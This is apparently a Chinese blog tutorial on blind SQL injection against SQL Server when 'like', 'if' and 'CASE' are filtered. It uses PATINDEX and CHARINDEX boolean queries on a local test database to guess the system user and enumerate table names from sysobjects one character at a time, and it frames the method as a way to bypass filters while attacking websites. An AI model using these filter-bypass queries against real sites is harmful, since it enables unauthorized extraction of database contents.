0x01 概要

日站过程中有过滤是很正常的事情.

本方法适用于 过滤了 like, if, CASE

也就是 like 注入无法正常使用,但是页面又没有回显的情况

0x02 测试数据

1> select * from article;
2> go
+----+-----------+-----------+
| id | title       | content    |
+----+-----------+-----------+
|  1 | 测试标题  | 测试内容  |
|  2 | 测试标题2 | 测试内容2 |
+----+-----------+-----------+
(2 rows affected)

# 测试表数据: users;
sql server> select * from users;
+----+--------------+----------+
| id | username     | password |
+----+--------------+----------+
|  1 | test-user-01 |  123456  | 
|  2 | test-user-02 |  234567  |
+----+--------------+----------+
2 rows in set (0.00 sec)

sql server> SELECT system_user;
+-----------------------+
| field1                |
+-----------------------+
| sa                    |
+-----------------------+
1 row in set (0.00 sec)

sql server> select db_name();
+-----------------------+
| field1                |
+-----------------------+
| test                  |
+-----------------------+
1 row in set (0.00 sec)

0x02 PATINDEX()

0x02.1 查询user

SQL：select ‘test’ where patindex(‘%sa%’, system_user)>=1;

# system_user = sa
# 对的情况
1> select 'test' where patindex('%sa%', system_user)>=1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
# 错误的情况
1> select 'test' where patindex('%aaa%', system_user)>=1;
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

0x02.2 查询表名

注意：
OVER(Order by table_name) 里面的 name 要修改为 test.dbo.sysobjects 表里面存在的一个字段
查询不同的库可以这样

例如现在有 test库 与 test2库
那么就可以这样调用
test.dbo.sysobjects
test2.dbo.sysobjects

查询不同的表可以这样
例如:
修改 row_number>=1
修改 row_number>=2

注意：
XType=’U’ 表示获取某数据库的所有用户表;
XType=’S’ 表示获取某数据库的所有系统表;
例如现在查询得是 test 库得表名

SQL：select ‘test’ where patindex(‘%article%’, (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))>=1

# 第一张表名 = article
# 对的情况
1> SELECT
    'test'
WHERE
    patindex(
        '%article%',
        (
            SELECT
                name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                        name
                    FROM
                        test.dbo.sysobjects
                    WHERE
                        XType = 'U'
                ) AS a
            WHERE
                row_number = 1
        )
    ) >= 1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
# 错误的情况
1> SELECT
    'test'
WHERE
    patindex(
        '%aaaaaaaaaaaaaa%',
        (
            SELECT
                name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                        name
                    FROM
                        test.dbo.sysobjects
                    WHERE
                        XType = 'U'
                ) AS a
            WHERE
                row_number = 1
        )
    ) >= 1;
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

0x03 CHARINDEX()

0x03.1 查询user

SQL：select ‘test’ where charindex(‘s’, system_user)>=1

# system_user = sa
# 对的情况
# system_user第一个字符
1> select 'test' where charindex('s', system_user)>=1
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
# system_user第二个字符
1> select 'test' where charindex('sa', system_user)>=1
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
# 错误的情况
1> select 'test' where charindex('aaaaa', system_user)>=1
2> go
+--+
|  |
+--+
+--+
(0 rows affected)

0x03.2 查询表名

SQL：select ‘test’ where charindex(‘ar’, (select name from (select ROW_NUMBER() OVER(Order by name) AS row_number,name FROM test.dbo.sysobjects Where XType=’U’) as a where row_number=1))>=1

# 第一张表名 = article
# 对的情况
# 查询前1-2字符
1> SELECT
    'test'
WHERE
    charindex(
        'ar',
        (
            SELECT
                name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                        name
                    FROM
                        test.dbo.sysobjects
                    WHERE
                        XType = 'U'
                ) AS a
            WHERE
                row_number = 1
        )
    ) >= 1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)
# 查询1-4个字符
1> SELECT
    'test'
WHERE
    charindex(
        'arti',
        (
            SELECT
                name
            FROM
                (
                    SELECT
                        ROW_NUMBER () OVER (ORDER BY name) AS row_number,
                        name
                    FROM
                        test.dbo.sysobjects
                    WHERE
                        XType = 'U'
                ) AS a
            WHERE
                row_number = 1
        )
    ) >= 1;
2> go
+-----+
|     |
+-----+
| test |
+-----+
(1 rows affected)